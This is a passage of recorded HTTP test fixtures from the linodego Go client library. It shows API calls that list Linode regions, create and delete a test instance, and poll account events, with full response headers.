Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52739346 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Clone.yaml000066400000000000000000073366601455402072200312100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 21}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-8y129dg6h3uh","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49042875, "label": "go-test-ins-8y129dg6h3uh", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.32.8"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "72315366ee3b0fbd14963941f6f70168bec84093", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "739" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": 